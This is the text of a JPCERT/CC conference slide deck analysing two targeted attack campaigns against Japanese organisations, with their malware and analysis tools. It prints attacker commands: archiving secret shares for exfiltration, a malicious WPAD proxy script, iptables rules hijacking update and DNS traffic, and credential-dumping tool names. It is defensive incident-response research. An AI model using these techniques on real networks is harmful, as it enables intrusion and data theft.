CODE BLUE 2015

日本の組織をターゲットにした攻撃キャンペーンの詳細

一般社団法人 JPCERT コーディネーションセンター
分析センター
朝長 秀誠
中村 祐

目次

1

１

はじめに

２

攻撃キャンペーン A

３

攻撃キャンペーン B

Copyright©2015 JPCERT/CC All rights reserved.

目次

2

１

はじめに

２

攻撃キャンペーン A

３

攻撃キャンペーン B

Copyright©2015 JPCERT/CC All rights reserved.

自己紹介
朝長 秀誠 (Shusei Tomonaga)
中村 祐 (Yuu Nakamura)
一般社団法人 JPCERT コーディネーションセンター
分析センター 所属
マルウエア分析、フォレンジック

3

Copyright©2015 JPCERT/CC All rights reserved.

JPCERT コーディネーションセンター
Japan Computer Emergency Response Team
Coordination Center
予防

予測・捕捉対応• 脆弱性ハンドリング• 情報収集分析発信• 対応調整支援

早期警戒情報制御システムセキュリティ
CSIRT 構築支援
国際連携アーティファクト分析
4Copyright©2015 JPCERT/CC All rights reserved.

JPCERT/CCの高度サイバー攻撃対応状況
2015年4月から9月までの対応件数

130組織

攻撃キャンペーンA

93
93

組織

攻撃キャンペーンB

4

4
5

組織

組織

Copyright©2015 JPCERT/CC All rights reserved.

組織今回紹介する攻撃キャンペーン
攻撃キャンペーン A• 2012年頃から国内の多数の組織が標的• Emdivi• CloudyOmega (Symantec)• BLUE TERMITE (Kaspersky)
攻撃キャンペーン B• 2013年頃から国内の一部の組織が標的• APT17 (FireEye)
6

Copyright©2015 JPCERT/CC All rights reserved.

目次

7

１

はじめに

２

攻撃キャンペーン A

３

攻撃キャンペーン B

Copyright©2015 JPCERT/CC All rights reserved.

攻撃キャンペーン A の特徴
攻撃インフラ（改ざんされたサイト）
国内

国外

…
被害組織（官公庁、民間企業）

標的型メール

8

Copyright©2015 JPCERT/CC All rights reserved.

広範囲へのメール

水飲み場型

内部侵入テクニックの詳細

初期感染活動情報収集
感染拡大（横断的侵害）

9

Copyright©2015 JPCERT/CC All rights reserved.

内部侵入テクニックの詳細

初期感染活動情報収集
感染拡大（横断的侵害）

10

Copyright©2015 JPCERT/CC All rights reserved.

攻撃パターン
Timeline of Attack Vector
2014/05
アイコン
偽装
文書ファイ
ル(脆弱性悪用)

2014/09

2015/01

2015/05

2015/09

医療費、健康保険
2014/11

CVE-2014-7247
2015/07

Drive-By
Download

CVE-2015-5119
CVE-2015-5122• アイコン偽装したマルウエアを zip や lzh で圧縮しメールに添付する攻撃が多い• 標的を絞った攻撃は、やり取り型のメールになる場合がある
11

Copyright©2015 JPCERT/CC All rights reserved.

内部侵入テクニックの詳細

初期感染活動情報収集
感染拡大（横断的侵害）

12

Copyright©2015 JPCERT/CC All rights reserved.

侵入した環境についての調査
MSが提供している正規のツールが利用される
OSに標準で付属しているコマンドやプログラム
• dir
• net
• net view• net localgroup administrators• ver• ipconfig• systeminfo• wmic
感染後に送り込まれるActiveDirectoryの管理者用ツール• csvde• dsquery
13

Copyright©2015 JPCERT/CC All rights reserved.

dsqueryの使用例
特定の個人を狙っている場合に使われることがある

14

Copyright©2015 JPCERT/CC All rights reserved.

メールアカウント情報の収集
フリーツールの利用（Nirsoft の Mail PassView に類似）
外部からメールの受信を試みる
新たな攻撃メールのネタになる可能性が（やり取り型）
組織から組織へと感染が広がる

15

Copyright©2015 JPCERT/CC All rights reserved.

機密情報、個人情報の収集

16

Copyright©2015 JPCERT/CC All rights reserved.

ネットワークドライブの探索 1
NET USEコマンド> net use
新しい接続は記憶されます。
ステータス ローカル名 リモート名
ネットワーク名------------------------------------------------------------------------------OK
T:¥¥FILESV01¥SECRETMicrosoft Windows Network
OK
U:¥¥FILESV02¥SECRETMicrosoft Windows Network

wmicコマンド> wmic logicaldisk get caption,providername,drivetype,volumename
Caption DriveType
ProviderName
VolumeName
C:
3OS
D:
3
ボリューム
T:
4¥¥FILESV01¥SECRET
ボリューム
U:4
¥¥FILESV01¥SECRET
ボリューム
DriveType = 4⇒ ネットワークドライブ
17

Copyright©2015 JPCERT/CC All rights reserved.

ネットワークドライブの探索 2
netstat コマンド、nbtstat コマンドの組み合わせ> netstat –an
TCP 192.168.xx.xx:49217 192.168.yy.yy:445 ESTABLISHED> nbtstat -a 192.168.yy.yy
名前種類状態--------------------------------------------FILESV01 <00> 一意
登録済

18

Copyright©2015 JPCERT/CC All rights reserved.

445番ポートをキーにしてファイル共有サービスの接続先を探索

目的とするデータの探索
dirコマンド> dir ¥¥FILESV01¥SECRET¥¥FILESV¥SECRET のディレクトリ
2014/07/11 09:16 [DIR] 協力会社管理
2014/09/04 11:49 [DIR] 知財管理
2014/08/01 09:27 [DIR] 拠点情報

ネットワークドライブだけでなく感染端末も探索> dir c:¥users¥hoge¥*.doc* /s /o-dc:¥users¥hoge¥AppData¥Local¥Temp のディレクトリ
2014/07/29 10:19 28,672 20140820.doc
1 個のファイル 28,672 バイトc:¥users¥hoge¥重要情報 のディレクトリ
2015/08/29 10:03 1,214 設計資料.doc
19Copyright©2015 JPCERT/CC All rights reserved.

/s : 再帰的に表示/o-d : 日付順でソート表示

圧縮・ダウンロード・痕跡の削除
RARで圧縮> winrar.exe a –r –ed –v300m –ta20140101 %TEMP%¥a.rar“¥¥FILESV01¥SECRET¥知財管理” -n*.ppt* -n*.doc* -n*.xls* -n*.jtd
Adding ¥¥FILESV01¥SECRET¥知財管理¥委員会名簿(2015.05.01).docx OK
Adding ¥¥FILESV01¥SECRET¥知財管理¥構成図.ppt OK
Adding ¥¥FILESV01¥SECRET¥知財管理¥申請一覧.xlsx OK
Adding ¥¥FILESV01¥SECRET¥知財管理¥設計資料.jtd OK・・

ドキュメント類がフォルダごと圧縮される
C&Cサーバに送信後、rar ファイルを削除

20

Copyright©2015 JPCERT/CC All rights reserved.

内部侵入テクニックの詳細

初期感染活動情報収集
感染拡大（横断的侵害）

21

Copyright©2015 JPCERT/CC All rights reserved.

感染拡大に使われる手法
感染拡大パターン• 脆弱性の悪用(MS14-068 + MS14-058)• SYSVOL 内のスクリプト調査• パスワードリスト攻撃• Builtin Administrator のパスワードを悪用• ファイルサーバにマルウエアを置く• fake wpad
• など
22

Copyright©2015 JPCERT/CC All rights reserved.

脆弱性の悪用(MS14-068 + MS14-058)
1. 権限昇格し(MS14-058) mimikatz でパスワードダンプ
2. MS14-068 の脆弱性を悪用しDomain Admin の権限を取得

PC-A

3. DCに mimikatz をコピーし、adminのパスワードをダンプ

4. マルウエアを PC-B にコピー
5. マルウエアを実行するためのタスクを登録
23

Copyright©2015 JPCERT/CC All rights reserved.

DomainController

6. タスクによりマルウエアを実行

PC-B

SYSVOL 内のスクリプト調査
ポイント• logon script などにパスワードが書いてある場合がある

攻撃インフラ

DomainController

6. タスクによりマルウエアが実行される

3. admin のパスワードを探す
2. ダウンロード

C2 Server24

1. ログオンスクリプトをダウンロードし、圧縮

PC-A

Copyright©2015 JPCERT/CC All rights reserved.

4. PC-Bにマルウエ
アをコピー
5. マルウエアを実行するためにタスクを登録

PC-B

パスワードリスト攻撃ポイント• 10~30行程度のパスワードリストおよび
Domain Admins のユーザリストを用いてログオンを試行• logon.exe という自作？のツールが使われる

1. Domain Admins のユーザリストを取得

2. logon.exeによるログオン試行

PC-A
25

Copyright©2015 JPCERT/CC All rights reserved.

DomainController

5. 実行
3. マルウエアをコピー
4. タスク登録

PC-B

Builtin Administrator のパスワードが同じ
ポイント• Domain環境の悪用に活路を見出せない場合に有効な手段• パスワードハッシュもしくはパスワードをダンプする必要がある
1. 権限昇格し (UAC bypass)
パスワードダンプ

5. 実行
4. タスク登録

3. マルウエアをコピー

PC-A

2. pass the hash or net use
net use ¥¥PC-B¥IPC$ [password] /u:Administrator

26

Copyright©2015 JPCERT/CC All rights reserved.

PC-B

ファイルサーバにマルウエアを置くポイント• 他に手段がない場合に効果的
1. 既存のファイルを、アイコン偽装したマルウエアにすり替える

ファイル
サーバ

PC-A
27

Copyright©2015 JPCERT/CC All rights reserved.

2. ファイルサー
バ上のマルウエ
アを実行

PC-B

WPADの悪用
WPAD (Web Proxy Auto-Discovery)—デフォルトで有効—自動構成スクリプトを

28

DHCPサーバに指定されたURL、もしくはhttp://wpad/wpad.dat から取得する

Copyright©2015 JPCERT/CC All rights reserved.

WPADの悪用(step 1: NetBIOS Spoofing)
ポイント• WPADが構成されていない環境で有効• NetBIOS Spoofing

1. Broadcast: Name query NB WPAD

wpad.exe

PC-A29Copyright©2015 JPCERT/CC All rights reserved.

2. Name query response(I am WPAD)

PC-B

WPADの悪用(step 2: fake WPAD server)
wpad.dat (自動構成スクリプト)
function FindProxyForURL(url, host) {if (myIpAddress() != “[PC-A addr]”) {return ‘PROXY wpad:8888;DIRECT’;}
return ‘DIRECT’;}
3. request http://wpad/wpad.dat

4. response
wpad.exe

PC-A30Copyright©2015 JPCERT/CC All rights reserved.

PC-B

WPADの悪用(step 3: man in the middle proxy)
攻撃インフラWeb site

Attacker’s
Web Site

6. drive by download
attackwpad.exe

5. 攻撃者が用意したWebサイト
への iframe を挿入

PC-A
31

Copyright©2015 JPCERT/CC All rights reserved.

PC-B

感染拡大手法のまとめ手法

権限昇格

MS14-068

不要
必要 パスワードダ
ンプには必要SYSVOL探索

必要 不要

備考
DCにパッチが当てられていない場合に危険

必要 不要

脆弱なパスワードを設定していると危険

Builtin Administratorの悪用 不要 必要

パスワードが同じであるという前提

ファイルサーバの悪用

不要 不要

多くのユーザが開くファイルに偽装された場合に危険

WPAD の悪用

不要 不要

活用場面は限定される

パスワードリスト攻撃

32AD

Copyright©2015 JPCERT/CC All rights reserved.

使用するツール・マルウエアの詳細
33

Copyright©2015 JPCERT/CC All rights reserved.

マルウエアの特徴
攻撃の進行度合、被害規模によって存在するマルウエアの種別が異なる
マルウエア

概要

Emdivi (t17)

HTTP BOT
パスワードダンプなど
通信頻度が低い
ダウンローダツール類
usp10jpg
Emdivi(t19, t20)
BeginX
GStatust17よりも高機能な HTTP BOT
リモートシェル
ツール
通信頻度が低いHTTP BOT

ファイル形式

攻撃ステップ

EXE
EXE 等

侵入

DLL, data
EXE

横断的侵害

EXE
EXE,DLL

潜伏？

参照: [船越絢香. 標的型攻撃で用いられたマルウエアの特徴と攻撃の影響範囲の関係に関する考察. MWS, 2015]
34

Copyright©2015 JPCERT/CC All rights reserved.

ツール類
種別

概要

ファイル名

Quarks PwDump

qp.exe, qd.exe, QDump.exeなど

MimikatzLite

gp.exeWindows credentials Editor

wce.exe, ww.exe

Mimikatz

mz.exe, mimikatz.exe, mimikatz.rar(sekurlsa.dll)

MS14-068(CVE-2014-6324)

ms14-068.exe
ms14-068.tar.gz

MS14-058 (権限昇格)(CVE-2014-4113)

4113.exe

UAC bypass
パケット転送UAC bypass ツール

msdart.exe, puac.exeなど

Htran, proxy対応型Htranhtproxy.exeなど

メールアカウント窃取

nirsoft の Mail PassViewに類似

CallMail.exe, outl.exe など

リストを元にlogon試行

logon.exe

WinRARアーカイバ

yrar.exe, rar,exe など

高機能版 dir コマンド

dirasd.exeなど

timestamp の変更

timestomp.exe

パスワードダンプ
Pass-the-hash

脆弱性悪用ユーティリティ
35

Copyright©2015 JPCERT/CC All rights reserved.

Emdivi (t17)
基本的な機能を搭載したHTTP BOT
この一年間でバージョンアップが繰り返され、実装されているコマンドが増えているコマンド搭載された時期

DOABORT
DOWNBGGETFILELOADDLL
SETCMDSUSPENDUPLOAD
VERSION

36

GOTO

2015年5月

CLEARLOGS

2015年8月

Copyright©2015 JPCERT/CC All rights reserved.

Emdivi (t20)
高機能なEmdivi
この一年間で、搭載しているコマンドが増えたり、減ったりしている—１８～４１(JPCERT調べ)

標的組織のプロキシサーバのアドレスがハードコードされている場合がある
特定端末でしか動作しない場合がある（端末のSIDによるデータの暗号化）37

Copyright©2015 JPCERT/CC All rights reserved.

usp10jpg
通信頻度の低いダウンローダ
1日1回通信通信する曜日を指定できる
Emdiviに感染していない端末に設置される傾向（二次感染）
DLLのプリロード攻撃
特定のDLLのサーチ
オーダーを悪用し、悪意のあるDLLをロードさせる

アプリケーション38

Copyright©2015 JPCERT/CC All rights reserved.

データを読み込み実行

dwmapi.dll など***.DATusp10jpg は発見されにくい
Emdivi感染
端末

usp10jpg
39

Copyright©2015 JPCERT/CC All rights reserved.

通信頻度が高いため、発見されやすい

通信頻度が低いため、発見されずに残ることも攻撃インフラ

BeginX
リモートシェルツール
BeginX Server—特定のポートをリッスンし、コマンドを待ち受ける—UDP版、TCP版ともに存在する

BeginX Client—BeginX Server に対してコマンドを送信するクライアント—Emdivi から操作される

40

Copyright©2015 JPCERT/CC All rights reserved.

BeginXの使用イメージ
攻撃インフラインターネットへ接続できないセグメント

BeginxServerEmdiviに感染させても操作できない

Beginx
Client Emdivi
BeginX を経由することで操作できる

Emdivi
感染端末
41

Copyright©2015 JPCERT/CC All rights reserved.

GStatus
Emdiviとは異なるHTTP BOT
多くの被害組織には存在しないが…
ボット機能—ドライブ情報の取得—任意のシェルコマンド実行—プロセス一覧—スクリーン関連機能

42

Copyright©2015 JPCERT/CC All rights reserved.

GStatus の Web パネル(管理画面)

43

Copyright©2015 JPCERT/CC All rights reserved.

分析ツールemdivi_string_decryptor.py
44

Copyright©2015 JPCERT/CC All rights reserved.

emdivi_string_decryptor.py
emdivi_string_decryptor.py• IDAPython• Emdiviの分析に使用• エンコードされた文字列をデコードする
対応バージョン
• t17, 19, 20
45

Copyright©2015 JPCERT/CC All rights reserved.

emdivi_string_decryptor.py
Emdivi encoded strings

46

Copyright©2015 JPCERT/CC All rights reserved.

emdivi_string_decryptor.py
Difference depending on version string
Ver 17

Ver 19 or 20

Ver 20

Encrypt

XxTEA encrypt

XxTEA decrypt

AES decrypt

Decrypt

XxTEA decrypt

XxTEA encrypt

AES encrypt

Key47

Scanf(MD5("%x",MD5(base64(ver))
Inc_Add(+
ver17_key
MD5(key_string))))

Copyright©2015 JPCERT/CC All rights reserved.

Inc_Add(ver17_key)emdivi_string_decryptor.py

48

Copyright©2015 JPCERT/CC All rights reserved.

emdivi_string_decryptor.py

49

Copyright©2015 JPCERT/CC All rights reserved.

DEMO

50

Copyright©2015 JPCERT/CC All rights reserved.

目次

51

１

はじめに２

攻撃キャンペーン A

３

攻撃キャンペーン B

Copyright©2015 JPCERT/CC All rights reserved.

Attack techniques

ドライブバイダウンロード攻撃
アップデート ハイジャッキング
ドメイン名ハイジャッキング
52

Copyright©2015 JPCERT/CC All rights reserved.

Attack techniques

ドライブバイダウンロード攻撃
アップデート ハイジャッキング
ドメイン名ハイジャッキング53

Copyright©2015 JPCERT/CC All rights reserved.

ドライブバイダウンロード（水飲み場）攻撃
標的組織
0. Webサイト改ざん

国内組織のWebサーバ

1. Webアクセス
２. リダイレクト
攻撃者インフラ
４. マルウエア
感染54

３. マルウエアダウンロード

Copyright©2015 JPCERT/CC All rights reserved.

アクセス制限.htaccessTarget name
IP address

55

Copyright©2015 JPCERT/CC All rights reserved.

0day Exploit
CVE-2013-3893 (MS13-080)• 2013年9月頃• Internet Explorerの脆弱性
CVE-2013-3918 (MS13-090)• 2013年10月頃• Internet Explorerの脆弱性
CVE-2014-0324 (MS14-012)• 2014年2月頃• Internet Explorerの脆弱性
56

Copyright©2015 JPCERT/CC All rights reserved.

Attack techniquesドライブバイダウンロード攻撃
アップデート ハイジャッキング
ドメイン名ハイジャッキング
57

Copyright©2015 JPCERT/CC All rights reserved.

アップデートハイジャッキング
アップデート情報を改ざんする手法
標的組織

0. アップデート情報改ざん

アップデートサーバ

1. アップデートリクエスト
２. 偽アップデート情報

３. ダウンロードリクエスト
５. マルウエア
感染58

４. マルウエアダウンロード

Copyright©2015 JPCERT/CC All rights reserved.

偽アップデートサーバ

別のアップデートハイジャッキングパターン
アップデートサーバのファイルを置き換えない手法
標的組織
0. iptablesの設定変更

アップデートサーバ

1. アップデート
偽アップデートサーバ

59

Copyright©2015 JPCERT/CC All rights reserved.

別のアップデートハイジャッキングパターン
アップデートサーバのファイルを置き換えない手法
iptablesの設定で通信を転送する
iptables -t nat -A PREROUTING -i eth0 -s aa.bb.cc.dd -p
tcp --dport 80 -j DNAT --to-destination ww.xx.yy.zz:53
ポイント• サーバのファイルは改ざんされない• iptablesは保存しない• 標的組織は、正規のアップデートサーバと通信しているようにしか見えない60

Copyright©2015 JPCERT/CC All rights reserved.

Attack techniques

ドライブバイダウンロード攻撃
アップデート ハイジャッキング
ドメイン名ハイジャッキング
61

Copyright©2015 JPCERT/CC All rights reserved.

ドメイン名ハイジャッキング
0.登録情報の変更

レジストラ
正規サイト
DNS
サーバ

レジストリ

1.DNSクエリ
標的組織.com
DNSサーバ
攻撃インフラ2.DNSクエリ

Web
サーバ

Web
サーバ
4.Webアクセス

62

Copyright©2015 JPCERT/CC All rights reserved.

DNS
サーバ

ドメイン名ハイジャッキング
iptablesで特定クエリのみDNSサーバへ転送
iptables -t nat -A PREROUTING -p udp --dport 53 -m string--from 40 --to 46 --hex-string "|03|AAA" --algo bm -j DNAT -to-destination aa.bb.cc.dd:54
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT -to ww.xx.yy.zz:53

ポイント• 特定のサブドメインのみ処理

AAA.example.com• その他のDNSクエリは、正規サーバに転送
63

Copyright©2015 JPCERT/CC All rights reserved.

使用するマルウエアの詳細

64

Copyright©2015 JPCERT/CC All rights reserved.

マルウエアの特徴① 侵入時と潜伏で異なるマルウエアを使用② メモリ上にしか存在しないマルウエアがある③ 標的組織の内部情報が埋め込まれている④ 署名されている場合がある

65

Copyright©2015 JPCERT/CC All rights reserved.

マルウエアの特徴

侵入 BlackCoffee

潜伏
66

Hikit

Copyright©2015 JPCERT/CC All rights reserved.

McRAT

PreshinDerusbi

PlugX

Agtid

マルウエア (侵入)BlackCoffee

McRAT

PreshinAgtid

基本的な機能が搭載されたHTTPボット
コマンド一覧
command0x184004
0x184008
0x18400c
0x184010
0x184014
0x184018
0x18401c
0x184020
67

info
リモートシェル起動
シェルコマンド実行
ファイル作成ファイル読み込み
ドライブ情報の取得
ディレクトリ作成
ファイル検索ファイル削除Copyright©2015 JPCERT/CC All rights reserved.

commandinfo
ファイル移動0x184024
プロセス一覧
0x184028
プロセス停止0x18402c
Sleep
0x184030
0x184034 コマンドインストール
Sleep Time設定
0x184038
終了
0x18403c

通信先取得アルゴリズム
WebページからC2情報を取得
start: @MICR0S0FT
end: C0RP0RATI0N

start: lOve yOu 4 eveR
end: Reve 4 uOy evOl
デコード

68

Copyright©2015 JPCERT/CC All rights reserved.

マルウエア (侵入)BlackCoffee

McRAT

Preshin

Agtid

プラグインベースのマルウエア
コマンド一覧
command number
01345678969

Copyright©2015 JPCERT/CC All rights reserved.

info
サーバにデータ送信
TickCount値の設定
プラグイン登録
プラグイン設定領域確保
プラグイン設定領域への設定
プラグイン作成・実行
プラグイン停止
設定ファイルの作成-

メモリ上のみに存在するマルウエア
CVE-2013-3918 with McRAT

ROP
Shellcode
省略

Malware70

Copyright©2015 JPCERT/CC All rights reserved.

メモリ上のみに存在するマルウエア
CVE-2013-3918 with McRAT
rundll32.exeを起動して、インジェクション
インジェクションされるのは、
Shellcodeの後半のマルウエ
アデータ
このマルウエアは、ファイルとして保存されない

71

Copyright©2015 JPCERT/CC All rights reserved.

マルウエア (侵入)BlackCoffee

McRAT

Preshin

Agtid

機能が限定されたHTTPボット
コマンド一覧
commanddownonly

ファイルダウンロード

downexec

ファイルダウンロード・実行

-72

info

Copyright©2015 JPCERT/CC All rights reserved.

シェルコマンド実行

Preshin Controller
PHPベースのコントローラ

73

Copyright©2015 JPCERT/CC All rights reserved.

Preshin Controller
コマンド実行例

74

Copyright©2015 JPCERT/CC All rights reserved.

マルウエア (侵入)BlackCoffee

McRAT

PreshinAgtid

基本的な機能が搭載されたHTTPボット
コマンド一覧
command
123
4
5
775

info
ディスク情報取得
ファイル一覧
ファイル表示
アップロードファイル
ファイル作成ファイル読み込みCopyright©2015 JPCERT/CC All rights reserved.

command
8
9
10
11
1213

info
ファイル削除ファイル・フォルダ削除
アップロードファイル
フォルダ作成ファイル移動マルウエア (潜伏)Hikit

Derusbi

PlugX

Rootkit機能を持ったマルウエア
コマンド一覧
commandfile
information
proxy

プロキシ機能の有効化

connect

Hikitプロキシへ接続

shell

シェルコマンド実行

socks5プロキシ機能(socks5)の有効化

exit
76

info
ファイル関連操作
設定情報の送信Copyright©2015 JPCERT/CC All rights reserved.

終了Hikitの設定情報
ネットワーク内部のプロキシ情報を持つ
識別子
ターゲット
プロキシ情報Rootkit設定
77

Copyright©2015 JPCERT/CC All rights reserved.

マルウエア (潜伏)Hikit

Derusbi

PlugX

最近使われることが多いマルウエア
コマンド一覧
command78

info

cmd4

サービス、プロセス関連操作

cmd5

シェルコマンド実行

cmd6

Derusbiプロキシへ接続

cmd7

ファイル操作

cmd8

終了

cmd9

ファイル作成、削除

Copyright©2015 JPCERT/CC All rights reserved.

Derusbiの設定情報
ネットワーク内部のプロキシ情報を持つ
識別子

プロキシ情報79

Copyright©2015 JPCERT/CC All rights reserved.

証明書
Identity

80

TypeCountry

System Integrator

exe

Japan

Software Vendor

exe

Japan

Software Vendor

exe

Korea

Automaker

exe

Korea

Heavy Industry

jar

Korea

Software Vendor

exe

Korea

Electronics Industry

jar

Korea

Software Vendor

exe

Korea

Copyright©2015 JPCERT/CC All rights reserved.

攻撃インフラ日本国内

正規サイト
Backdoor

標的組織

攻撃インフラ
海外サーバ
C2サーバ
iptables81

Copyright©2015 JPCERT/CC All rights reserved.

Linux Backdoor
mod_rootme• apache module• キーワードを送ることでシェルを起動

mod_rootmeのソース

キーワード“Roronoa”

82

Copyright©2015 JPCERT/CC All rights reserved.

Linux Backdoor
rs_linux• 高機能なLinuxボット
Function
MyNetstat
PortTunnelGet
PortTunnel_RemoteClose
PortTunnel_Show
CreatePortTunnel
PortForward
PortForward_Show
PortForward_Close

83

Copyright©2015 JPCERT/CC All rights reserved.

CreateShell
GetFileSource
MyPs
KillByPid
NewConnectTo
StartPutFile
PutFileDest
ShellServer

Mymkdir
Mymkfile
Myrmfile
Myrmdir
ListDir
my_reboot
ShowHide
SwitchHide

分析ツールapt17scan.py
84

Copyright©2015 JPCERT/CC All rights reserved.

apt17scan.py
apt17scan.py• Volatility Plugin• メモリダンプからマルウエアを検知• マルウエアの設定情報を抽出
Function• apt17scan• derusbiconfig• hikitconfig• agtidconfig

85

Copyright©2015 JPCERT/CC All rights reserved.

apt17scan.py
Scan with YARA
Search configuration
data address
Parse configuration data
Dump configuration

86

Copyright©2015 JPCERT/CC All rights reserved.

apt17scan.py
apt17scan マルウエアを検知

87

AgtidHikit

McRATPreshinBlackCoffee

Derusbi

Copyright©2015 JPCERT/CC All rights reserved.

apt17scan.py
derusbiconfig Derusbiの設定情報を表示

88

Copyright©2015 JPCERT/CC All rights reserved.

apt17scan.py
hikitconfig Hikitの設定情報を表示

89

Copyright©2015 JPCERT/CC All rights reserved.

apt17scan.py
agtidconfig Agtidの設定情報を表示

90

Copyright©2015 JPCERT/CC All rights reserved.

DEMO

91

Copyright©2015 JPCERT/CC All rights reserved.

How to download
https://github.com/JPCERTCC

92

Copyright©2015 JPCERT/CC All rights reserved.

Thank You!
連絡先
aa-info@jpcert.or.jp
https://www.jpcert.or.jp
インシデント報告
info@jpcert.or.jp
https://www.jpcert.or.jp/form/